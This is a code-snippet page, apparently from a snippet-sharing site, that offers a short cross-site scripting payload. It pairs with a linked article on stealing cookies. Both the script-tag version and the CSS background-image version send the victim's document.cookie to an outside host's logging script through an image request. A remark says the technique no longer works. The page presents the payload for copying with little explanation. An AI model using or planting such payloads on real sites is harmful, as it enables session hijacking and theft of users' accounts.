/ Published in: JavaScript
                    
                                        
Note that this no longer works
                
                            
                                Expand |
                                Embed | Plain Text
                            
                        
                        Copy this code and paste it in your HTML
<script>
new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);
</script>
<!-- or -->
<style>
.getcookies{background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);');}
</style>
<p class="getcookies"></p>
URL: http://jehiah.cz/archive/xss-stealing-cookies-101
Comments
 Subscribe to comments
                    Subscribe to comments
                
                